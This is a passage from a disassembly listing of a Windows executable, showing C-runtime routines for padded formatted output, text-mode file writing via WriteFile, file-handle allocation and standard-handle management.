		mov	ecx, [ebp+var_28]
		mov	[eax+edx], cl


loc_40A6F2:				; CODE XREF: sub_409FC0+84j
					; sub_409FC0+BDj ...
		xor	eax, eax


loc_40A6F4:				; CODE XREF: sub_409FC0+C6j
					; sub_409FC0+6F0j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_409FC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A700	proc near		; CODE XREF: sub_408B70+25Ap
					; sub_40B240+D7p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+34h]
		sub	eax, [ebx+14h]
		sub	eax, [ebx+18h]
		sub	eax, [ebx+1Ch]
		sub	eax, [ebx+20h]
		sub	eax, [ebx+24h]
		sub	eax, [ebx+28h]
		mov	[ebp+var_4], eax
		test	word ptr [ebx+38h], 4
		jnz	short loc_40A77F
		cmp	[ebp+var_4], 0
		jle	short loc_40A77F
		mov	esi, [ebp+var_4]
		jmp	short loc_40A77B
; ---------------------------------------------------------------------------


loc_40A737:				; CODE XREF: sub_40A700+7Dj
		cmp	esi, 20h
		jbe	short loc_40A745
		mov	[ebp+var_8], 20h
		jmp	short loc_40A74A
; ---------------------------------------------------------------------------


loc_40A745:				; CODE XREF: sub_40A700+3Aj
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_40A74A:				; CODE XREF: sub_40A700+43j
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_40A779
		push	edi
		push	offset asc_40FDF0 ; "				     "
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A771
		add	[ebx+30h], edi
		jmp	short loc_40A779
; ---------------------------------------------------------------------------


loc_40A771:				; CODE XREF: sub_40A700+6Aj
		or	eax, 0FFFFFFFFh
		jmp	loc_40A967
; ---------------------------------------------------------------------------


loc_40A779:				; CODE XREF: sub_40A700+51j
					; sub_40A700+6Fj
		sub	esi, edi


loc_40A77B:				; CODE XREF: sub_40A700+35j
		test	esi, esi
		jg	short loc_40A737


loc_40A77F:				; CODE XREF: sub_40A700+2Aj
					; sub_40A700+30j
		cmp	dword ptr [ebx+14h], 0
		jle	short loc_40A7B0
		mov	eax, [ebx+14h]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A7A8
		mov	eax, [ebx+14h]
		add	[ebx+30h], eax
		jmp	short loc_40A7B0
; ---------------------------------------------------------------------------


loc_40A7A8:				; CODE XREF: sub_40A700+9Ej
		or	eax, 0FFFFFFFFh
		jmp	loc_40A967
; ---------------------------------------------------------------------------


loc_40A7B0:				; CODE XREF: sub_40A700+83j
					; sub_40A700+A6j
		cmp	dword ptr [ebx+18h], 0
		jle	short loc_40A803
		mov	esi, [ebx+18h]
		jmp	short loc_40A7FF
; ---------------------------------------------------------------------------


loc_40A7BB:				; CODE XREF: sub_40A700+101j
		cmp	esi, 20h
		jbe	short loc_40A7C9
		mov	[ebp+var_8], 20h
		jmp	short loc_40A7CE
; ---------------------------------------------------------------------------


loc_40A7C9:				; CODE XREF: sub_40A700+BEj
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_40A7CE:				; CODE XREF: sub_40A700+C7j
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_40A7FD
		push	edi
		push	offset a00000000000000 ; "00000000000000000000000000000000"
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A7F5
		add	[ebx+30h], edi
		jmp	short loc_40A7FD
; ---------------------------------------------------------------------------


loc_40A7F5:				; CODE XREF: sub_40A700+EEj
		or	eax, 0FFFFFFFFh
		jmp	loc_40A967
; ---------------------------------------------------------------------------


loc_40A7FD:				; CODE XREF: sub_40A700+D5j
					; sub_40A700+F3j
		sub	esi, edi


loc_40A7FF:				; CODE XREF: sub_40A700+B9j
		test	esi, esi
		jg	short loc_40A7BB


loc_40A803:				; CODE XREF: sub_40A700+B4j
		cmp	dword ptr [ebx+1Ch], 0
		jle	short loc_40A834
		mov	eax, [ebx+1Ch]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A82C
		mov	eax, [ebx+1Ch]
		add	[ebx+30h], eax
		jmp	short loc_40A834
; ---------------------------------------------------------------------------


loc_40A82C:				; CODE XREF: sub_40A700+122j
		or	eax, 0FFFFFFFFh
		jmp	loc_40A967
; ---------------------------------------------------------------------------


loc_40A834:				; CODE XREF: sub_40A700+107j
					; sub_40A700+12Aj
		cmp	dword ptr [ebx+20h], 0
		jle	short loc_40A887
		mov	esi, [ebx+20h]
		jmp	short loc_40A883
; ---------------------------------------------------------------------------


loc_40A83F:				; CODE XREF: sub_40A700+185j
		cmp	esi, 20h
		jbe	short loc_40A84D
		mov	[ebp+var_8], 20h
		jmp	short loc_40A852
; ---------------------------------------------------------------------------


loc_40A84D:				; CODE XREF: sub_40A700+142j
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_40A852:				; CODE XREF: sub_40A700+14Bj
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_40A881
		push	edi
		push	offset a00000000000000 ; "00000000000000000000000000000000"
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A879
		add	[ebx+30h], edi
		jmp	short loc_40A881
; ---------------------------------------------------------------------------


loc_40A879:				; CODE XREF: sub_40A700+172j
		or	eax, 0FFFFFFFFh
		jmp	loc_40A967
; ---------------------------------------------------------------------------


loc_40A881:				; CODE XREF: sub_40A700+159j
					; sub_40A700+177j
		sub	esi, edi


loc_40A883:				; CODE XREF: sub_40A700+13Dj
		test	esi, esi
		jg	short loc_40A83F


loc_40A887:				; CODE XREF: sub_40A700+138j
		cmp	dword ptr [ebx+24h], 0
		jle	short loc_40A8BD
		mov	eax, [ebx+24h]
		push	eax
		mov	eax, [ebx+1Ch]
		mov	edx, [ebx+10h]
		add	eax, edx
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A8B5
		mov	eax, [ebx+24h]
		add	[ebx+30h], eax
		jmp	short loc_40A8BD
; ---------------------------------------------------------------------------


loc_40A8B5:				; CODE XREF: sub_40A700+1ABj
		or	eax, 0FFFFFFFFh
		jmp	loc_40A967
; ---------------------------------------------------------------------------


loc_40A8BD:				; CODE XREF: sub_40A700+18Bj
					; sub_40A700+1B3j
		cmp	dword ptr [ebx+28h], 0
		jle	short loc_40A90D
		mov	esi, [ebx+28h]
		jmp	short loc_40A909
; ---------------------------------------------------------------------------


loc_40A8C8:				; CODE XREF: sub_40A700+20Bj
		cmp	esi, 20h
		jbe	short loc_40A8D6
		mov	[ebp+var_8], 20h
		jmp	short loc_40A8DB
; ---------------------------------------------------------------------------


loc_40A8D6:				; CODE XREF: sub_40A700+1CBj
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_40A8DB:				; CODE XREF: sub_40A700+1D4j
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_40A907
		push	edi
		push	offset a00000000000000 ; "00000000000000000000000000000000"
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A902
		add	[ebx+30h], edi
		jmp	short loc_40A907
; ---------------------------------------------------------------------------


loc_40A902:				; CODE XREF: sub_40A700+1FBj
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A967
; ---------------------------------------------------------------------------


loc_40A907:				; CODE XREF: sub_40A700+1E2j
					; sub_40A700+200j
		sub	esi, edi


loc_40A909:				; CODE XREF: sub_40A700+1C6j
		test	esi, esi
		jg	short loc_40A8C8


loc_40A90D:				; CODE XREF: sub_40A700+1C1j
		test	word ptr [ebx+38h], 4
		jz	short loc_40A965
		cmp	[ebp+var_4], 0
		jle	short loc_40A965
		mov	esi, [ebp+var_4]
		jmp	short loc_40A961
; ---------------------------------------------------------------------------


loc_40A920:				; CODE XREF: sub_40A700+263j
		cmp	esi, 20h
		jbe	short loc_40A92E
		mov	[ebp+var_8], 20h
		jmp	short loc_40A933
; ---------------------------------------------------------------------------


loc_40A92E:				; CODE XREF: sub_40A700+223j
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_40A933:				; CODE XREF: sub_40A700+22Cj
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_40A95F
		push	edi
		push	offset asc_40FDF0 ; "				     "
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A95A
		add	[ebx+30h], edi
		jmp	short loc_40A95F
; ---------------------------------------------------------------------------


loc_40A95A:				; CODE XREF: sub_40A700+253j
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A967
; ---------------------------------------------------------------------------


loc_40A95F:				; CODE XREF: sub_40A700+23Aj
					; sub_40A700+258j
		sub	esi, edi


loc_40A961:				; CODE XREF: sub_40A700+21Ej
		test	esi, esi
		jg	short loc_40A920


loc_40A965:				; CODE XREF: sub_40A700+213j
					; sub_40A700+219j
		xor	eax, eax


loc_40A967:				; CODE XREF: sub_40A700+74j
					; sub_40A700+ABj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40A700	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A970	proc near		; CODE XREF: sub_408EB0+101p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_4]
		mov	eax, ebx
		and	eax, 3
		mov	esi, dword_40FE34[eax*4]
		test	ebx, 4
		jz	short loc_40A98F
		or	esi, 8


loc_40A98F:				; CODE XREF: sub_40A970+1Aj
		test	ebx, 8
		jz	short loc_40A99D
		or	esi, 200h


loc_40A99D:				; CODE XREF: sub_40A970+25j
		test	ebx, 10h
		jz	short loc_40A9AB
		or	esi, 100h


loc_40A9AB:				; CODE XREF: sub_40A970+33j
		test	ebx, 20h
		jz	short loc_40A9BB
		or	esi, 8000h
		jmp	short loc_40A9C1
; ---------------------------------------------------------------------------


loc_40A9BB:				; CODE XREF: sub_40A970+41j
		or	esi, 4000h


loc_40A9C1:				; CODE XREF: sub_40A970+49j
		push	180h
		push	esi
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40BC40
		add	esp, 0Ch
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40A970	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40A9E0	proc near		; CODE XREF: sub_409000+Dp
		push	6
		call	sub_40C050
		pop	ecx
		push	1
		call	sub_407D70
		pop	ecx
		retn
sub_40A9E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA00	proc near		; CODE XREF: sub_40ABF0+4Bp
					; sub_40CFE0+ADp

var_411		= byte ptr -411h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		mov	[ebp+var_4], 0
		cmp	[ebp+arg_8], 0
		jnz	short loc_40AA27
		xor	eax, eax
		jmp	loc_40ABE9
; ---------------------------------------------------------------------------


loc_40AA27:				; CODE XREF: sub_40AA00+1Ej
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_41398C[eax*4]
		test	byte ptr [eax+edx+4], 20h
		jz	short loc_40AA53
		push	2
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40C180
		add	esp, 0Ch


loc_40AA53:				; CODE XREF: sub_40AA00+41j
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_41398C[eax*4]
		test	byte ptr [eax+edx+4], 80h
		jz	loc_40AB34
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_10], 0
		jmp	loc_40AB20
; ---------------------------------------------------------------------------


loc_40AA82:				; CODE XREF: sub_40AA00+12Cj
		lea	edi, [ebp+var_411]
		jmp	short loc_40AAA2
; ---------------------------------------------------------------------------


loc_40AA8A:				; CODE XREF: sub_40AA00+C0j
		mov	eax, esi
		inc	esi
		mov	bl, [eax]
		cmp	bl, 0Ah
		jnz	short loc_40AA9D
		inc	[ebp+var_4]
		mov	eax, edi
		inc	edi
		mov	byte ptr [eax],	0Dh


loc_40AA9D:				; CODE XREF: sub_40AA00+92j
		mov	eax, edi
		inc	edi
		mov	[eax], bl


loc_40AAA2:				; CODE XREF: sub_40AA00+88j
		lea	eax, [ebp+var_411]
		mov	edx, edi
		sub	edx, eax
		cmp	edx, 400h
		jge	short loc_40AAC2
		mov	eax, [ebp+arg_4]
		mov	edx, esi
		sub	edx, eax
		mov	eax, edx
		cmp	eax, [ebp+arg_8]
		jb	short loc_40AA8A


loc_40AAC2:				; CODE XREF: sub_40AA00+B2j
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_411]
		mov	edx, edi
		sub	edx, eax
		mov	eax, edx
		push	eax
		lea	eax, [ebp+var_411]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_41398C[eax*4]
		mov	eax, [eax+edx]
		push	eax
		call	dword_411E0C	; WriteFile
		test	eax, eax
		jz	short loc_40AB15
		mov	eax, [ebp+var_8]
		add	[ebp+var_C], eax
		lea	edx, [ebp+var_411]
		mov	ecx, edi
		sub	ecx, edx
		cmp	eax, ecx
		jge	short loc_40AB20
		jmp	short loc_40AB7D
; ---------------------------------------------------------------------------


loc_40AB15:				; CODE XREF: sub_40AA00+FDj
		call	dword_411CEC	; RtlGetLastWin32Error
		mov	[ebp+var_10], eax
		jmp	short loc_40AB7D
; ---------------------------------------------------------------------------


loc_40AB20:				; CODE XREF: sub_40AA00+7Dj
					; sub_40AA00+111j
		mov	eax, [ebp+arg_4]
		mov	edx, esi
		sub	edx, eax
		mov	eax, edx
		cmp	eax, [ebp+arg_8]
		jb	loc_40AA82
		jmp	short loc_40AB7D
; ---------------------------------------------------------------------------


loc_40AB34:				; CODE XREF: sub_40AA00+6Dj
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_41398C[eax*4]
		mov	eax, [eax+edx]
		push	eax
		call	dword_411E0C	; WriteFile
		test	eax, eax
		jz	short loc_40AB74
		mov	[ebp+var_10], 0
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		jmp	short loc_40AB7D
; ---------------------------------------------------------------------------


loc_40AB74:				; CODE XREF: sub_40AA00+163j
		call	dword_411CEC	; RtlGetLastWin32Error
		mov	[ebp+var_10], eax


loc_40AB7D:				; CODE XREF: sub_40AA00+113j
					; sub_40AA00+11Ej ...
		cmp	[ebp+var_C], 0
		jnz	short loc_40ABE3
		cmp	[ebp+var_10], 0
		jz	short loc_40ABAB
		cmp	[ebp+var_10], 5
		jnz	short loc_40AB9C
		call	sub_408730
		mov	dword ptr [eax], 9
		jmp	short loc_40ABA6
; ---------------------------------------------------------------------------


loc_40AB9C:				; CODE XREF: sub_40AA00+18Dj
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_4085D0
		pop	ecx


loc_40ABA6:				; CODE XREF: sub_40AA00+19Aj
		or	eax, 0FFFFFFFFh
		jmp	short loc_40ABE9
; ---------------------------------------------------------------------------


loc_40ABAB:				; CODE XREF: sub_40AA00+187j
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_41398C[eax*4]
		test	byte ptr [eax+edx+4], 40h
		jz	short loc_40ABD3
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jnz	short loc_40ABD3
		xor	eax, eax
		jmp	short loc_40ABE9
; ---------------------------------------------------------------------------


loc_40ABD3:				; CODE XREF: sub_40AA00+1C5j
					; sub_40AA00+1CDj
		call	sub_408730
		mov	dword ptr [eax], 1Ch
		or	eax, 0FFFFFFFFh
		jmp	short loc_40ABE9
; ---------------------------------------------------------------------------


loc_40ABE3:				; CODE XREF: sub_40AA00+181j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_4]


loc_40ABE9:				; CODE XREF: sub_40AA00+22j
					; sub_40AA00+1A9j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AA00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ABF0	proc near		; CODE XREF: sub_409030+79p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_413A8C
		jnb	short loc_40AC1B
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_40AC2B


loc_40AC1B:				; CODE XREF: sub_40ABF0+Ej
		call	sub_408730
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_40AC4E
; ---------------------------------------------------------------------------


loc_40AC2B:				; CODE XREF: sub_40ABF0+29j
		push	ebx
		call	sub_40B010
		pop	ecx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		push	ebx
		call	sub_40AA00
		add	esp, 0Ch
		mov	esi, eax
		push	ebx
		call	sub_40B070
		pop	ecx
		mov	eax, esi


loc_40AC4E:				; CODE XREF: sub_40ABF0+39j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40ABF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC60	proc near		; CODE XREF: DMN0:loc_40AFBAp
					; sub_40BC70:loc_40BE6Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		or	edi, 0FFFFFFFFh
		push	4
		call	sub_408AD0
		pop	ecx
		xor	esi, esi


loc_40AC76:				; CODE XREF: sub_40AC60+128j
		cmp	dword_41398C[esi*4], 0
		jz	loc_40AD2D
		mov	ebx, dword_41398C[esi*4]
		jmp	loc_40AD12
; ---------------------------------------------------------------------------


loc_40AC90:				; CODE XREF: sub_40AC60+C0j
		test	byte ptr [ebx+4], 1
		jnz	short loc_40AD0F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_40ACBF
		push	3
		call	sub_408AD0
		pop	ecx
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_40ACB7
		lea	eax, [ebx+0Ch]
		push	eax
		call	dword_411CCC	; InitializeCriticalSection
		inc	dword ptr [ebx+8]


loc_40ACB7:				; CODE XREF: sub_40AC60+48j
		push	3
		call	sub_408B50
		pop	ecx


loc_40ACBF:				; CODE XREF: sub_40AC60+3Aj
		lea	eax, [ebx+0Ch]
		push	eax
		call	dword_411CD0	; RtlEnterCriticalSection
		test	byte ptr [ebx+4], 1
		jz	short loc_40ACDB
		lea	eax, [ebx+0Ch]
		push	eax
		call	dword_411CD4	; RtlLeaveCriticalSection
		jmp	short loc_40AD0F
; ---------------------------------------------------------------------------


loc_40ACDB:				; CODE XREF: sub_40AC60+6Dj
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	eax, esi
		shl	eax, 5
		mov	[ebp+var_4], eax
		mov	edx, dword_41398C[esi*4]
		mov	ecx, ebx
		sub	ecx, edx
		mov	eax, ecx
		push	eax
		mov	edx, 38E38E39h
		imul	edx
		pop	eax
		shr	eax, 1Fh
		sar	edx, 3
		add	eax, edx
		mov	edx, [ebp+var_4]
		lea	edi, [eax+edx]
		jmp	short loc_40AD26
; ---------------------------------------------------------------------------


loc_40AD0F:				; CODE XREF: sub_40AC60+34j
					; sub_40AC60+79j
		add	ebx, 24h


loc_40AD12:				; CODE XREF: sub_40AC60+2Bj
		mov	eax, dword_41398C[esi*4]
		add	eax, 480h
		cmp	ebx, eax
		jb	loc_40AC90


loc_40AD26:				; CODE XREF: sub_40AC60+ADj
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40AD84
		jmp	short loc_40AD8E
; ---------------------------------------------------------------------------


loc_40AD2D:				; CODE XREF: sub_40AC60+1Ej
		push	480h
		call	sub_408530
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_40AD8E
		mov	dword_41398C[esi*4], ebx
		add	dword_413A8C, 20h
		jmp	short loc_40AD66
; ---------------------------------------------------------------------------


loc_40AD4E:				; CODE XREF: sub_40AC60+114j
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	byte ptr [ebx+5], 0Ah
		mov	dword ptr [ebx+8], 0
		add	ebx, 24h


loc_40AD66:				; CODE XREF: sub_40AC60+ECj
		mov	eax, dword_41398C[esi*4]
		add	eax, 480h
		cmp	ebx, eax
		jb	short loc_40AD4E
		mov	edi, esi
		shl	edi, 5
		push	edi
		call	sub_40B010
		pop	ecx
		jmp	short loc_40AD8E
; ---------------------------------------------------------------------------


loc_40AD84:				; CODE XREF: sub_40AC60+C9j
		inc	esi
		cmp	esi, 40h
		jl	loc_40AC76


loc_40AD8E:				; CODE XREF: sub_40AC60+CBj
					; sub_40AC60+DCj ...
		push	4
		call	sub_408B50
		pop	ecx
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AC60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40ADA0	proc near		; CODE XREF: sub_409110+5Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, dword_413A8C
		jnb	loc_40AE2F
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		add	eax, edx
		test	byte ptr [eax+4], 1
		jz	short loc_40AE2F
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_40AE2F
		test	ebx, ebx
		jz	short loc_40ADE5
		cmp	ebx, 1
		jz	short loc_40ADF4
		cmp	ebx, 2
		jz	short loc_40AE03
		jmp	short loc_40AE10
; ---------------------------------------------------------------------------


loc_40ADE5:				; CODE XREF: sub_40ADA0+37j
		push	0
		push	0FFFFFFF6h
		call	dword_411E10	; SetStdHandle
		jmp	short loc_40AE10
; ---------------------------------------------------------------------------


loc_40ADF4:				; CODE XREF: sub_40ADA0+3Cj
		push	0
		push	0FFFFFFF5h
		call	dword_411E10	; SetStdHandle
		jmp	short loc_40AE10
; ---------------------------------------------------------------------------


loc_40AE03:				; CODE XREF: sub_40ADA0+41j
		push	0
		push	0FFFFFFF4h
		call	dword_411E10	; SetStdHandle


loc_40AE10:				; CODE XREF: sub_40ADA0+43j
					; sub_40ADA0+52j ...
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		mov	dword ptr [edx+eax], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_40AE3D
; ---------------------------------------------------------------------------


loc_40AE2F:				; CODE XREF: sub_40ADA0+Bj
					; sub_40ADA0+2Bj ...
		call	sub_408730
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_40AE3D:				; CODE XREF: sub_40ADA0+8Dj
		pop	ebx
		retn
sub_40ADA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40AE40	proc near		; CODE XREF: DMN0:0040AFDCp
					; sub_40BC70+2B4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, dword_413A8C
		jnb	loc_40AED1
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		cmp	dword ptr [edx+eax], 0FFFFFFFFh
		jnz	short loc_40AED1
		test	ebx, ebx
		jz	short loc_40AE7E
		cmp	ebx, 1
		jz	short loc_40AE90
		cmp	ebx, 2
		jz	short loc_40AEA2
		jmp	short loc_40AEB2
; ---------------------------------------------------------------------------


loc_40AE7E:				; CODE XREF: sub_40AE40+30j
		mov	eax, [esp+4+arg_4]
		push	eax
		push	0FFFFFFF6h
		call	dword_411E10	; SetStdHandle
		jmp	short loc_40AEB2
; ---------------------------------------------------------------------------


loc_40AE90:				; CODE XREF: sub_40AE40+35j
		mov	eax, [esp+4+arg_4]
		push	eax
		push	0FFFFFFF5h
		call	dword_411E10	; SetStdHandle
		jmp	short loc_40AEB2
; ---------------------------------------------------------------------------


loc_40AEA2:				; CODE XREF: sub_40AE40+3Aj
		mov	eax, [esp+4+arg_4]
		push	eax
		push	0FFFFFFF4h
		call	dword_411E10	; SetStdHandle


loc_40AEB2:				; CODE XREF: sub_40AE40+3Cj
					; sub_40AE40+4Ej ...
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		mov	ecx, [esp+4+arg_4]
		mov	[edx+eax], ecx
		xor	eax, eax
		jmp	short loc_40AEDF
; ---------------------------------------------------------------------------


loc_40AED1:				; CODE XREF: sub_40AE40+Bj
					; sub_40AE40+2Cj
		call	sub_408730
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_40AEDF:				; CODE XREF: sub_40AE40+8Fj
		pop	ebx
		retn
sub_40AE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40AEF0	proc near		; CODE XREF: sub_409110+Cp
					; sub_409110+25p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, dword_413A8C
		jnb	short loc_40AF31
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 1
		jz	short loc_40AF31
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		mov	eax, [edx+eax]
		jmp	short loc_40AF3F
; ---------------------------------------------------------------------------


loc_40AF31:				; CODE XREF: sub_40AEF0+Bj
					; sub_40AEF0+26j
		call	sub_408730
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_40AF3F:				; CODE XREF: sub_40AEF0+3Fj
		pop	ebx
		retn
sub_40AEF0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+4]
		push	eax
		call	sub_40AEF0
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebx
		push	esi
		push	edi
		xor	bl, bl
		test	byte ptr [esp+14h], 8
		jz	short loc_40AF6F
		or	bl, 20h


loc_40AF6F:				; CODE XREF: DMN0:0040AF6Aj
		test	word ptr [esp+14h], 4000h
		jz	short loc_40AF7B
		or	bl, 80h


loc_40AF7B:				; CODE XREF: DMN0:0040AF76j
		test	byte ptr [esp+14h], 80h
		jz	short loc_40AF85
		or	bl, 10h


loc_40AF85:				; CODE XREF: DMN0:0040AF80j
		mov	eax, [esp+10h]
		push	eax
		call	dword_411DF0	; GetFileType
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40AFA8
		call	dword_411CEC	; RtlGetLastWin32Error
		push	eax
		call	sub_4085D0
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_40B001
; ---------------------------------------------------------------------------


loc_40AFA8:				; CODE XREF: DMN0:0040AF94j
		cmp	edi, 2
		jnz	short loc_40AFB2
		or	bl, 40h
		jmp	short loc_40AFBA
